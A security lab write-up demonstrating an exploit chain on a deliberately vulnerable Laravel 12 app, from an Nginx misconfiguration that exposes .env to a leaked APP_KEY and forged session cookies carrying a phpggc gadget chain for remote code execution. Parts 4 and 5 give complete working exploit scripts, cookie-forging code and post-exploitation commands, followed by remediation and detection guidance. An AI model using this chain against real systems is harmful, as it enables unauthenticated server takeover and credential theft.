Nginx Misconfiguration to RCE: Exploiting an Exposed .env File and Laravel APP_KEY
Two Config Mistakes, One Shell:
The .env Leak to APP_KEY Deserialization Chain
Most vulnerability writeups end with a sentence like, "an attacker could potentially achieve remote code execution," and leave the rest to the reader's imagination. This lab takes a different approach. Every command shown below was executed against a live, deliberately vulnerable Laravel application called ArtisanBreach, built specifically to reproduce this attack chain without shortcuts or omitted steps.
The objective is simple: demonstrate the complete path from an exposed .env file to unauthenticated remote code execution. Nothing here is hypothetical. Every stage of the chain was reproduced end to end, showing exactly how two independent configuration decisions can combine into a practical compromise on a Laravel 12 application in 2026.
Two configuration mistakes are all it takes to reach an unauthenticated shell.
First, Nginx is configured with root /var/www instead of root /var/www/public. In this lab, a single request to /.env exposes the application's environment file, including database credentials, Redis credentials, API keys, and the APP_KEY.
Second, SESSION_DRIVER=cookie stores the serialized session data inside an encrypted client-side cookie. With the legitimate APP_KEY in hand, an attacker can forge a valid session containing a PHP gadget chain, encrypt it with the same key, and send it back to the application. Laravel decrypts the cookie, restores the session, and eventually passes the attacker-controlled payload to PHP's unserialize(). No authentication required. In this lab, that results in remote code execution as www-data. From the first request to /.env to a shell took roughly ten minutes.
Where This Sits in the Kill Chain
These two steps are the entry point. Without the .env leak, brute-forcing APP_KEY is not realistic (AES-256, 32 random bytes, you're not getting through that). With the .env leak, the APP_KEY attack goes from "academic paper" to "I ran it and it popped." Together they hand an unauthenticated attacker code execution before they've touched a single form, login page, or application feature.
Why This Keeps Happening
Before we get to the exploit, it's worth understanding why this class of issue keeps appearing. The problem is not a single mistake. It is a failure across multiple layers:
-
Deployment tutorials often optimize for convenience over secure defaults. Many "Deploy Laravel with Docker Compose" guides focus on getting an application running quickly and expose the project directory directly instead of explaining why Nginx should serve only
/public. The result is a deployment pattern that works, but creates unnecessary risk when combined with other mistakes. -
Laravel's configuration options can hide dangerous combinations. Laravel supports
SESSION_DRIVER=cookieas a built-in session driver, but the impact of combining cookie-based sessions with an exposedAPP_KEYis easy to underestimate. The framework's deserialization behavior has been involved in multiple attack paths over the years, including CVE-2018-15133 and CVE-2024-55556. -
Application secrets are rarely treated with enough care. Many teams generate an
APP_KEYonce during setup and never rotate it again. Keys can end up committed to repositories, copied into deployment files, or embedded into build artifacts. GitGuardian and Synacktiv identified approximately 260,000 exposed LaravelAPP_KEYvalues on GitHub, validated 400 functional keys, and confirmed production applications where exposed keys enabled remote code execution. - This is not simply a story about developers making mistakes. It is a reminder that a powerful application secret, insecure deployment practices, and risky deserialization behavior can combine into a much larger security failure.
Vulnerability Classification
| CWE (.env exposure) | CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory |
|---|---|
| CWE (deserialization) | CWE-502: Deserialization of Untrusted Data |
| OWASP Top 10 | A05:2021 Security Misconfiguration (.env exposure), A08:2021 Software and Data Integrity Failures (deserialization) |
| Affected component |
Nginx virtual host config (dvla.conf),
Laravel cookie session driver (SESSION_DRIVER=cookie)
|
| Authentication required | None. Both vulnerabilities work for any unauthenticated HTTP client. |
| Real-world prevalence | 600+ production Laravel apps confirmed exploitable via leaked APP_KEYs on GitHub alone (GitGuardian/Synacktiv, 2025). The actual number of vulnerable apps is certainly higher, GitHub is just the easiest place to scan. |
| Impact | Complete credential exposure → unauthenticated RCE as www-data |
Part 1
The Nginx Config That Hands Over Your Entire Application
Every Laravel project has a .env file at its root. Database password.
Redis password. Mail credentials. API keys. APP_KEY. None of this is a problem if the
web server never serves that directory. The problem is that ArtisanBreach's Nginx
config serves exactly that directory, the whole thing.
Two lines. That's all it takes.
# docker-compose/nginx/dvla.conf
server {
listen 80;
server_name _;
root /var/www; # ← SHOULD BE /var/www/public
index public/index.php index.php index.html;
charset utf-8;
autoindex on; # ← AND YOU ENABLED DIRECTORY LISTINGS?
location / {
try_files $uri $uri/ /public/index.php?$query_string;
}
location ~ \.php$ {
fastcgi_pass dvla-admin:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root/public/index.php;
}
}
.env,
composer.json, artisan, storage/,
config/, vendor/, is your web root. Every file
that doesn't match a PHP location block gets served as static content. Every backup
file a dev left behind (.env.bak, .env.production). Every
SQLite database in storage/. Every log file. And with
autoindex on, an attacker doesn't even need to guess filenames. They
browse the directory tree like Finder.
The mechanics: when a request hits /.env, Nginx evaluates
try_files $uri, which resolves to /var/www/.env. The file
exists. Nginx serves it as static content. The fallback to
/public/index.php never fires because the file was found. This is not a
bug, Nginx is doing exactly what it was told to do. The config told it the
application root is the web root.
And autoindex on? That's a separate disaster stacked on top of the
first one. Even without it, /.env is directly accessible. With it,
visiting the document root returns a full clickable directory listing. An attacker
can browse /storage/logs/, /storage/app/,
/config/, and every other directory looking for interesting files
before they've written a single line of exploit code.
One HTTP request. That's the entire attack.
curl http://localhost:8084/.env
APP_NAME=ArtisanBreach
APP_ENV=local
APP_KEY=base64:mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=
APP_DEBUG=true
APP_URL=http://localhost:8084
LOG_CHANNEL=stack
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=dvla-db
DB_PORT=3306
DB_DATABASE=dvla
DB_USERNAME=dvla
DB_PASSWORD=secret123
SESSION_DRIVER=cookie
SESSION_ENCRYPT=false
REDIS_HOST=dvla-redis
REDIS_PASSWORD=
REDIS_PORT=6379
CACHE_DRIVER=redis
QUEUE_CONNECTION=redis
Read that output again. In one response, with zero authentication, you have:
the full MySQL credentials, the Redis password (and Redis has auth enabled, the password just got handed to you), the mail credentials if configured,
APP_DEBUG=true (stack traces will leak full file paths),
SESSION_DRIVER=cookie (tells you the attack vector),
SESSION_ENCRYPT=false (tells you there's no second encryption layer),
and the APP_KEY. The APP_KEY is the crown jewel. Everything else is bonus.
SESSION_DRIVER=cookie on one line and
APP_KEY=base64:... two lines above it. You know what that means.
The target is serving its session payload in a cookie, encrypted with a key you
now possess. You don't need to brute-force anything. You don't need to find a
second vulnerability. The framework will decrypt and unserialize whatever you
send it, and you have the key to sign it.
Part 2
APP_KEY is Not a "Session Secret." It's the Master Key.
Most Laravel developers think of APP_KEY as "the thing that encrypts sessions." That description is accurate in the same way that describing a nuclear launch key as "the thing that opens a door" is accurate. APP_KEY is the single symmetric key for every cryptographic operation in Laravel:
| What Laravel uses APP_KEY for | What an attacker can do with it |
|---|---|
Encrypting and HMAC-signing all cookies via EncryptCookies |
Forge any cookie. Session cookies, remember-me tokens, anything in the Cookie header. |
Signing signed URLs (URL::signedRoute()) |
Generate valid signed URLs for any route. Password reset links, email verification, unsubscribe links, all forgeable. |
Encrypting model attributes (Eloquent encrypted cast) |
Decrypt any encrypted column. API keys, PII, payment tokens stored with the encrypted cast are readable. |
| CSRF token signing (in older Laravel versions) | CSRF bypass if the app hasn't been updated. |
| Sanctum API token hashing | Token forgery in certain configurations. |
For this attack, row one is the one that matters. The EncryptCookies
middleware runs on every single request, before routing,
before controllers, before middleware, before anything. It decrypts every cookie in
the Cookie header, passes them to the application, and re-encrypts the
response cookies on the way out. That middleware calls
Encrypter::decrypt(). And decrypt() calls
unserialize().
The two methods that turn your APP_KEY into a shell
// Illuminate/Cookie/Middleware/EncryptCookies.php
protected function decryptCookie($name, $cookie): string|array
{
return is_array($cookie)
? $this->decryptArray($cookie)
: $this->encrypter->decrypt($cookie); // ← $unserialize defaults to true
}
// Illuminate/Encryption/Encrypter.php
public function decrypt($payload, $unserialize = true): mixed
{
$payload = $this->getJsonPayload($payload); // HMAC verification here
$iv = base64_decode($payload['iv']);
$decrypted = openssl_decrypt(
base64_decode($payload['value']),
$this->cipher, // AES-256-CBC
$this->key, // your APP_KEY, base64-decoded
0,
$iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
// ^^^^^^^^^^^^^^^^^^^^^^^^^^
// This line. This is the shell.
}
getJsonPayload() uses HMAC-SHA256 keyed with APP_KEY.
It prevents an attacker from modifying a cookie they intercepted. But HMAC
is symmetric: the same key that verifies also signs. Anyone with APP_KEY can produce
a valid MAC for any payload. The signature that "protects" Laravel's cookies is
completely useless once the key is known. This is not a bug, it's how
symmetric MACs work. The security model assumes you never leak the key.
Part 3
Why unserialize() on Untrusted Data is a Code Execution Primitive
PHP's unserialize() doesn't just reconstruct data, it
reconstructs objects. And when PHP reconstructs an object, it calls the
class's magic methods automatically. No explicit call needed from application code.
The two that matter:
__wakeup(), fires immediately when the object is recreated from the serialized string.__destruct(), fires when the object is garbage-collected, which happens at the end of every request.
If any class loaded by the autoloader has a __destruct() or
__wakeup() that does something interesting (writes a file, executes a
command, calls a method on another object), an attacker can chain those behaviours
together. This is called a Property-Oriented Programming (POP) gadget chain. Laravel
ships with Monolog. Monolog has known gadget chains. So does Guzzle. So does
league/commonmark. The tool phpggc catalogs them all and generates the
serialized payload with one command.
Every Laravel version has one. You just need to pick the right one.
php phpggc -l Laravel
NAME VERSION TYPE VECTOR
Laravel/RCE1 5.4.27 RCE: Function Call __destruct
Laravel/RCE9 5.4.0 ≤ 9.1.8+ RCE: Function Call __destruct
Laravel/RCE10 5.6.0 ≤ 9.1.8+ RCE: Function Call __toString
Laravel/RCE13 5.3.0 ≤ 9.5.1+ RCE: Function Call __destruct
Laravel/RCE20 5.6 ≤ 10.x RCE: Function Call __destruct
Laravel/RCE22 v10.0.0 ≤ v11.34.2+ RCE: Function Call __destruct
...
RCE10 is the chain in every blog post, every conference talk, and every
YouTube tutorial about this attack. Its upper bound is Laravel 9.1.8. On Laravel 12,
it unserializes without error and does absolutely nothing, the class internals
it targets were refactored years ago. An attacker who stops at RCE10 will think the
attack is patched. It isn't. RCE22 targets league/commonmark (present
in ArtisanBreach's composer.lock), has an upper bound of 11.34.2, and
fires on Laravel 12. The version column in phpggc -l is
not optional reading. It is the difference between a working exploit and a blog post
that looks impressive while doing nothing.
Why RCE22 and Not RCE11, RCE12, or RCE20?
This is the question every reader asks. The short answer: version bounds.
Each phpggc chain targets the exact private/protected property layout of specific
framework or dependency classes at a specific point in time. A later refactor that
renames or retypes a single property silently breaks the chain. The version column in
phpggc -l is not advisory, it is the precise range where that chain's
target class structure matches reality.
For a Laravel 12 target like ArtisanBreach, here is how each chain stacks up:
| Chain | Version Bound | Target Dependency | Verdict for Laravel 12 |
|---|---|---|---|
| RCE10 | 5.6.0 - 9.1.8 | Monolog | Silent failure. Unserializes without error but the destructor never fires, the Eloquent Builder internals it chains through were refactored after 9.1.8. This is the chain in every public writeup, and it's why so many people conclude the attack is "patched." |
| RCE11 | 5.8.0 - 8.x | Monolog | Too old. Monolog's handler class structure hasn't changed enough to guarantee breakage, but the Laravel-side classes it depends on (service container bindings, pipeline internals) have. |
| RCE12 | 7.x - 9.x | Monolog | May work. Monolog's class internals are extremely stable across versions. RCE12 has been confirmed to fire on some 10.x/12.x installs where the specific Monolog handler class layout hasn't changed. This is the chain we use in Post 7 (Redis queue deserialization) because Monolog is guaranteed loaded in the queue worker context. |
| RCE20 | 5.6 - 10.x | Monolog | May work on 11.x. Upper bound is 10.x, but Monolog stability means it sometimes fires on newer versions. Test it. Don't assume. |
| RCE22 | v10.0.0 - v11.34.2 | league/commonmark |
Closest upper bound to 12.x. Targets league/commonmark
__destruct. Present in this app's
composer.lock. Confirmed firing on Laravel 12.
This is the chain used in this post.
|
StartSession processes the forged cookie. So RCE22 has both the
closest version match AND guaranteed class availability in this context.
Part 4
The Full Attack: curl /.env to Shell in Ten Minutes
This is the part almost every public writeup gets wrong. They forge a single cookie,
send it, watch nothing happen, and conclude EncryptCookies::$serialize = false
patched the attack. That flag is real, it prevents the middleware from calling
unserialize() on an arbitrary cookie generically. But the
session mechanism has its own code path. Inside
Illuminate\Session\Store::readFromHandler(), the framework calls
unserialize() unconditionally on the session data, gated only by
config('session.serialization') which defaults to 'php'
and is never overridden in a stock install. The session cookie driver splits the
session across two cookies, not one. Forge one and nothing happens.
Forge both correctly and the shell pops.
Grab the APP_KEY from the exposed .env. One command:
APP_KEY=$(curl -s http://localhost:8084/.env | grep APP_KEY | cut -d= -f2-)
echo $APP_KEY
# base64:mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=
Step 2
Generate the PHP gadget chain with phpggc. Do not skip the
version check. Every Laravel version has different internal class layouts.
The wrong chain silently fails — it unserializes without error but the destructor
never fires.
git clone https://github.com/ambionics/phpggc.git
cd phpggc
php phpggc -l Laravel
# Laravel/RCE10 5.6.0 ≤ 9.1.8+ ← TOO OLD for Laravel 12. Will not fire.
# Laravel/RCE20 5.6 ≤ 10.x ← Still too old.
# Laravel/RCE22 v10.0.0 ≤ v11.34.2+ ← Closest match. Works on 12.x because
# league/commonmark is in composer.lock.
# Generate the gadget and save it as raw binary (NOT base64):
php phpggc Laravel/RCE22 system 'id' -o gadget.bin
# This writes the raw serialized PHP object to gadget.bin.
# Do NOT use the -b flag here — we need raw bytes, not base64.
php artisan tinker --execute "
\$enc = app('encrypter')->decrypt(\$cookie);
unset(\$enc); // destructor fires when the last reference drops
"
Build the two-cookie payload. This is the part every other writeup
gets wrong. The cookie session driver splits the session across
two separate cookies, not one. Forge only one and nothing happens.
Forge both correctly and the shell pops. Here is what each cookie contains and why:
artisanbreach_session. Its
decrypted value is a 40-character alphanumeric session ID (e.g.
a1b2c3d4e5f6...). This ID uniquely identifies the session.
Laravel validates it with ctype_alnum($id) && strlen($id) === 40.
Fail that check and Laravel silently generates a new random ID — your forged
cookie 2 is never consulted.Cookie 2 is named after the session ID itself. If Cookie 1's value is
a1b2c3d4..., then Cookie 2's name is
literally a1b2c3d4.... Its decrypted value is a JSON envelope:
{"data":"<serialized PHP gadget>","expires":<future timestamp>}.
This is what Illuminate\Session\CookieSessionHandler::read() reads
and what Illuminate\Session\Store::readFromHandler() calls
unserialize() on. Unconditionally.Both cookies also need a prefix computed by
CookieValuePrefix::create():
hash_hmac('sha1', $cookieName . 'v2', $key) . '|'. Without a valid
prefix, EncryptCookies discards the cookie before your payload is
ever reached.
3a. Save the cookie encryption helper
Save the script below as craft_cookie.php. You will use it twice:
once to encrypt Cookie 1's plaintext, and once for Cookie 2. It takes two arguments:
the full APP_KEY and the base64-encoded plaintext you want to encrypt. It returns
the encrypted cookie value in the exact format Laravel expects (base64-encoded JSON
with iv, value, and mac keys).
// craft_cookie.php — save this file. You'll run it twice.
// Usage: php craft_cookie.php "base64:APP_KEY" "base64_of_plaintext"
// Output: one line — the encrypted cookie value to send in the Cookie header.
$key = base64_decode(substr($argv[1], 7)); // strip "base64:" prefix
$payload = base64_decode($argv[2]); // the plaintext to encrypt
$iv = random_bytes(16); // random IV per cookie
$encrypted = openssl_encrypt($payload, 'AES-256-CBC', $key, 0, $iv);
$iv_b64 = base64_encode($iv);
$mac = hash_hmac('sha256', $iv_b64 . $encrypted, $key); // HMAC of IV+ciphertext
// Output: base64(JSON) — this is what goes in the Cookie header
echo base64_encode(json_encode([
'iv' => $iv_b64,
'value' => $encrypted,
'mac' => $mac,
])) . PHP_EOL;
3b. Build the plaintext for Cookie 1 (the session ID)
Cookie 1 is named artisanbreach_session. Its plaintext is:
[HMAC prefix] + [40-char session ID].
The HMAC prefix is computed as hash_hmac('sha1', 'artisanbreach_session' . 'v2', $rawKey)
followed by a pipe character. This prefix proves to EncryptCookies
that the cookie was encrypted with the real APP_KEY. The session ID is just 20
random bytes hex-encoded (producing 40 hex characters). We write this to
val1_plain.txt so the next step can encrypt it.
php -r '
$key = base64_decode("mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=");
$sessionId = bin2hex(random_bytes(20)); // 40 hex chars — passes isValidId()
// Build the plaintext: prefix | session ID
$prefix = hash_hmac("sha1", "artisanbreach_session" . "v2", $key) . "|";
file_put_contents("val1_plain.txt", $prefix . $sessionId);
// Save session ID — needed later as Cookie 2's NAME
file_put_contents("sessionid.txt", $sessionId);
echo "Session ID: " . $sessionId . PHP_EOL;
'
# Output: Session ID: a1b2c3d4e5f6... (40 hex chars)
3c. Build the plaintext for Cookie 2 (the gadget envelope)
Cookie 2 is named after the session ID (the 40-char string from step 3b).
Its plaintext is: [HMAC prefix] + [JSON envelope].
The JSON envelope has two fields: data (the serialized PHP gadget
from gadget.bin in Step 2) and expires (a Unix
timestamp in the future — one hour from now). The HMAC prefix is computed
using the session ID as the cookie name (since the session ID is the
cookie's name).
json_encode() returns false (not a JSON string)
when passed a string containing byte sequences that aren't valid UTF-8. Serialized
PHP objects from phpggc can contain arbitrary bytes outside the ASCII
range, and if they do, json_encode quietly produces garbage.
Before running the full build, verify your gadget survives the round-trip:
php -r '
$g = file_get_contents("gadget.bin");
$test = json_encode(["data"=>$g, "expires"=>time()+3600]);
var_dump($test); // must be a real JSON string, NOT bool(false)
// Also verify json_decode gives back the original bytes:
$rt = json_decode($test, true);
var_dump($rt["data"] === $g); // must be bool(true)
'
If both checks pass, your chain is ASCII-safe and the raw json_encode
below works. RCE22 produces ASCII-only output (class names,
property names, and the "id" command are all 7-bit clean), so this
test passes for the chain used in this post.If it doesn't pass: there is no clean workaround.
CookieSessionHandler
never base64-decodes the data field (confirmed in the framework
source — read() returns $decoded['data'] directly).
You can't pre-encode the gadget and have the server decode it. Pick a different
phpggc chain whose output stays ASCII-clean, or use a different delivery mechanism.
php -r '
$key = base64_decode("mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=");
$sessionId = trim(file_get_contents("sessionid.txt")); // from step 3b
$gadget = file_get_contents("gadget.bin"); // from step 2 (raw binary)
// Wrap the gadget in the session data envelope.
// RCE22 output is ASCII-safe — json_encode succeeds without special handling.
// (Verify with the test in the callout above if using a different chain.)
$envelope = json_encode([
"data" => $gadget,
"expires" => time() + 3600,
]);
// Build the plaintext: prefix | envelope JSON
$prefix = hash_hmac("sha1", $sessionId . "v2", $key) . "|";
file_put_contents("val2_plain.txt", $prefix . $envelope);
echo "Cookie 2 plaintext written to val2_plain.txt" . PHP_EOL;
'
3d. Encrypt both plaintexts into cookie values
Now run craft_cookie.php twice — once for each plaintext file.
Each invocation produces one line of base64 output: the encrypted cookie value.
# Encrypt val1_plain.txt → COOKIE1 (goes in cookie: artisanbreach_session=...)
COOKIE1=$(php craft_cookie.php \
"base64:mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=" \
"$(base64 -w0 val1_plain.txt)")
# Encrypt val2_plain.txt → COOKIE2 (goes in cookie named after the session ID)
COOKIE2=$(php craft_cookie.php \
"base64:mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=" \
"$(base64 -w0 val2_plain.txt)")
# Read back the session ID (needed as the cookie NAME)
SESSIONID=$(cat sessionid.txt)
echo "COOKIE1 length: ${#COOKIE1} chars"
echo "COOKIE2 length: ${#COOKIE2} chars"
echo "Session ID: $SESSIONID"
At this point you have everything you need:
- $COOKIE1 — the encrypted value for the cookie named
artisanbreach_session - $COOKIE2 — the encrypted value for the cookie named
$SESSIONID(the 40-char hex string) - $SESSIONID — the session ID, which is also the name of Cookie 2
Send both cookies together in a single HTTP request. Laravel's
EncryptCookies middleware decrypts both. StartSession
reads the session ID from cookie 1, looks up cookie 2 by that ID, extracts the
data field from the JSON envelope, and calls
unserialize() on your gadget. The destructor fires. The shell
comes back in the response body.
curl -s http://localhost:8084/ \
-H "Cookie: artisanbreach_session=${COOKIE1}; ${SESSIONID}=${COOKIE2}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
No middleware override. No config toggle. No app-level opt-in. The
EncryptCookies::$serialize = false flag that "fixed" CVE-2018-15133
only governs the middleware's generic cookie processing. The session handler's own
unserialize() call in Store::readFromHandler() is a
completely separate code path. It is not gated by $serialize. It is not
gated by any config flag. It fires on every request where
SESSION_DRIVER=cookie. This is the same mechanism behind
CVE-2024-55556 (Crater Invoice) and the 600+ production Laravel
apps found exploitable via leaked APP_KEYs in 2025 — a live, current threat class,
not a historical curiosity.
Part 5
What the Shell Actually Gets You
A lot of writeups stop at "RCE as www-data" and call it a day. That undersells the
blast radius. Here's what you can actually do from inside the container, using
nothing but the credentials you already read from .env:
The MySQL creds are right there in the .env
# From inside the container, or tunneled out:
mysql -h dvla-db -u dvla -psecret123 dvla -e "SELECT id, name, email FROM users;"
# Every user. Every password hash. Every personal record.
# The .env leak already gave you this. The shell just makes it convenient.
Redis pivot
Redis has auth, but you have the password
# Redis is on the internal Docker network. You're already inside.
redis-cli -h dvla-redis -a 'r3d1s_S3cur3_2026' KEYS '*'
# Session data. Cache keys. Queue payloads. Horizon job data.
# Everything Laravel stores in Redis is readable.
Lateral movement
The container can reach every other service
# From the www-data shell:
ip addr show # You're on the Docker bridge network
cat /etc/hosts # Service discovery via Docker DNS
ping dvla-db # Database container, reachable
ping dvla-redis # Redis container, reachable
# And if docker.sock is mounted (it is, that's Step 4 of the kill chain):
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 ... /var/run/docker.sock
www-data inside the container, with the credentials from
.env, you can: dump the entire database, read all Redis keys, inspect
queue jobs (which may contain sensitive payloads), read storage/logs/
(which may contain stack traces with more secrets), enumerate the internal Docker
network, and, if docker.sock is mounted, escape to the
host. That last step is its own post. But the shell you just got is the pivot point
for everything that follows.
What SESSION_DRIVER=cookie Actually Does
Both session cookies are still AES-256-CBC encrypted by EncryptCookies.
Without APP_KEY, you can't read or forge anything. What the cookie
driver changes is where the session lives. Instead of a small
session-ID cookie pointing at a server-side row in the database/Redis/filesystem,
the entire serialized session payload travels inside the second cookie.
There's no server-side session store to compromise separately. The
unserialize() target is sitting in the request itself.
// config/session.php
'driver' => env('SESSION_DRIVER', 'database'), // overridden to 'cookie' via .env
'encrypt' => env('SESSION_ENCRYPT', false), // NOT about cookie encryption, see below
'cookie' => env('SESSION_COOKIE', Str::slug(env('APP_NAME', 'laravel'), '_').'_session'),
// resolves to: artisanbreach_session
SESSION_ENCRYPT is the most-misread config key in Laravel. It does
not control whether the cookie is encrypted,
EncryptCookies encrypts every cookie no matter what. What it actually
does is select which session store class handles the data:
// Illuminate/Session/SessionManager.php
protected function buildSession($handler)
{
return $this->config->get('session.encrypt')
? $this->buildEncryptedSession($handler) // EncryptedStore: encrypts the
: new Store(/* ... */); // serialized array a SECOND time
// Store: pure passthrough data
// field goes straight to unserialize()
}
With SESSION_ENCRYPT=true, EncryptedStore encrypts the
serialized session array a second time (independently of the cookie-level encryption)
before it reaches the data field. You'd need to encrypt your gadget
with the app's Encrypter again before placing it in the envelope.
With SESSION_ENCRYPT=false (the framework default), the plain
Store class is used, whose prepareForUnserialize() is a
no-op. The data field goes straight into unserialize()
with zero additional layers.
The Real Villain Here
It's easy to read this and think "well, don't expose your .env then." That's true.
But it misses the larger problem: the Laravel framework itself treats
unserialize() on untrusted input as an acceptable default.
The Encrypter::decrypt() method has had $unserialize = true
as its default since the method was introduced. The session handler's
unserialize() call is unconditional. This means that any
Laravel application with SESSION_DRIVER=cookie and a leaked APP_KEY is
exploitable, not because of a bug, but because of an architectural decision
that dates back to the framework's earliest versions.
CVE-2018-15133 introduced EncryptCookies::$serialize = false as a mitigation for the encrypted cookie deserialization attack path. However, that change did not alter how cookie-based sessions handle serialized session data. CVE-2024-55556 demonstrated that, with the right conditions, the session path could still be abused. In 2026, on Laravel 12, the same attack chain remains possible when an attacker obtains the application's APP_KEY and the application uses cookie-based sessions.
The question is whether cookie session handling should continue defaulting to unserialization when the consequences of an exposed APP_KEY are so severe.
unserialize()
on client-provided data by default, any future APP_KEY leak, and there will be
more, because developers commit secrets to GitHub every day, will produce the
same RCE. The framework needs to stop treating unserialize() as a
reasonable default. It isn't. It hasn't been since 2009.
What You Just Lost
- Full MySQL access:
dvla:secret123ondvla-db:3306 - Full Redis access: auth password handed to you on a plate
- Every third-party API key and mail credential in the file
APP_DEBUG=true→ stack traces leak file paths, config values, and environment details on every errorAPP_KEY, the key that signs and encrypts everything
- Unauthenticated RCE as
www-data - Full filesystem read/write within the container
- Read
storage/logs, uploaded files, backups - Network access to every other Docker service (db, Redis, Horizon)
- Pivot point for the
docker.sockhost escape - Ability to modify application code, plant backdoors, exfiltrate data
Stop Reading and Fix This
curl http://your-app/.env returned a 200 at any
point, assume every secret in that file is in someone else's hands. Rotate everything.
Then fix the config so it can't happen again.
Fix the Nginx document root. One line.
# docker-compose/nginx/dvla.conf
server {
listen 80;
server_name _;
root /var/www/public; # ← THIS. Change /var/www to /var/www/public.
index index.php index.html;
charset utf-8;
# autoindex off; # ← NEVER enable this in production. Ever.
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location ~ \.php$ {
fastcgi_pass dvla-admin:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# Belt and suspenders: deny dotfiles even if root is misconfigured
location ~ /\. {
deny all;
}
}
Fix 2 (critical)
Rotate APP_KEY. Now. Not after you finish reading.
php artisan key:generate
# This invalidates all existing sessions, signed URLs, and encrypted attributes.
# That is the correct behaviour after key compromise. Accept it and move on.
Fix 3 (defense in depth)
Get off the cookie session driver.
# .env
SESSION_DRIVER=redis # or database. Anything server-side.
# If you MUST use cookie (you probably don't need to):
SESSION_ENCRYPT=true # Adds a second AES layer. Not a fix, but raises the bar.
unserialize() only fires with the cookie driver.
Switching to Redis/database removes that specific path. But
EncryptCookies still processes every cookie with
Encrypter::decrypt() which defaults $unserialize = true. As
long as APP_KEY is compromised, deserialization attacks through any encrypted
cookie are theoretically possible. The real fix is: don't leak APP_KEY. The Nginx
root fix is the only thing that prevents the leak.
Finding It in Your Deployment
# Test 1: Is .env publicly accessible?
curl -s -o /dev/null -w "%{http_code}" http://your-app/.env
# 200 = you have a problem. Anything else = good.
# Test 2: What's the Nginx document root?
grep -n "root " /etc/nginx/sites-enabled/*.conf
# Must end in /public for every Laravel virtual host.
# Test 3: Is directory listing enabled?
grep -rn "autoindex on" /etc/nginx/
# Any result is a red flag.
# Test 4: What session driver are you using?
grep SESSION_DRIVER .env
# cookie = your entire session surface depends on APP_KEY never leaking.
# Test 5: Has .env ever been committed?
git log --all --full-history -- .env
# If yes, that key is in your git history forever. Rotate it.
Remediation Checklist
root to /var/www/public. Verify: curl -I http://your-app/.env must return 404 or 403.autoindex on from every Nginx server block. Directory listings on an application server are never acceptable.location ~ /\. { deny all; } to every server block. Dotfiles should never be served, period.php artisan key:generate. Accept session invalidation.SESSION_DRIVER=cookie to Redis or database. Cookie sessions are a liability without a very specific reason.SESSION_ENCRYPT=true. It's a band-aid, but it's better than nothing.git log --all --full-history -- .env. If APP_KEY was ever committed, it's in the history forever. Rotate it and consider the repo's history compromised.curl -f http://staging/.env must fail. If it succeeds, block the deployment..env to your monitoring. Alert on any HTTP 200 response to /.env in access logs.The Bottom Line
This attack class is not new. PHP object deserialization has been a known code execution risk since Stefan Esser's 2009 SyScan presentation. Laravel's Encrypter::decrypt() has historically supported unserializing decrypted values, and over the years multiple Laravel deserialization vulnerabilities have demonstrated the risks of unsafe object restoration. The first major Laravel cookie deserialization RCE was disclosed in 2018. A session-based deserialization attack path was disclosed in 2024. In 2026, a Laravel 12 application with an exposed .env file, a leaked APP_KEY, cookie-based sessions, and a vulnerable deployment configuration can still be compromised through this chain.
The Nginx fix is a one-line configuration change: point the document root from /var/www to /var/www/public. If the APP_KEY has been exposed, it should be rotated after the source of the leak has been fixed. Neither requires changing application logic, rewriting features, or updating dependencies. The cost of ignoring these issues, as this chain demonstrates, can be an unauthenticated shell inside the application environment.
The framework also deserves scrutiny here. Defaulting $unserialize to true carries security consequences. Once an attacker obtains an application's APP_KEY, encrypted client-side data can become attacker-controlled data, and that data may eventually reach PHP's unserialize() during session handling. Combined with the right dependencies and configuration, that can lead to remote code execution.
The lesson is not that Laravel alone creates this vulnerability. It is that a leaked application secret, an unsafe deployment choice, and PHP object deserialization can combine into a dangerous attack chain. The responsibility is shared between framework defaults, deployment practices, and developers following secure configuration patterns.
Sources & Further Reading
Don't take my word for any of this. Here's the evidence, spanning seven years of the same vulnerability class being discovered, patched, rediscovered, and exploited:
- CVE-2018-15133 The original Laravel cookie-deserialization RCE. Laravel mitigated this specific attack path by changing cookie serialization behavior, but applications using serialized session data through other mechanisms remained dependent on deployment choices and configuration.
-
CVE-2024-55556
(GHSA-gxfw-pm97-x2qf), The session-path variant this post exploits.
Originally reported against Crater Invoice, but the mechanism is standard
Laravel session behavior. Applications using
SESSION_DRIVER=cookie, an exposedAPP_KEY, and a usable PHP gadget chain may be vulnerable to this attack path. - "Exploiting Public APP_KEY Leaks to Achieve RCE in Hundreds of Laravel Applications" GitGuardian & Synacktiv, 2025. Scanned 260,000+ leaked APP_KEYs from public GitHub. 400 still functional. 4 confirmed cases of trivial production RCE. This is not a CTF. This is production.
- "Laravel: APP_KEY leakage analysis", Synacktiv's technical companion piece with gadget chain selection details across Laravel versions.
- "Over 600 Laravel Apps Exposed to Remote Code Execution Due to Leaked APP_KEYs on GitHub", The Hacker News, July 2025. The headline says it all.
-
phpggc (PHP Generic Gadget Chains), The tool that makes this entire attack a ten-minute exercise. Its version
matrix is what revealed why
RCE10silently fails on modern Laravel whileRCE22works.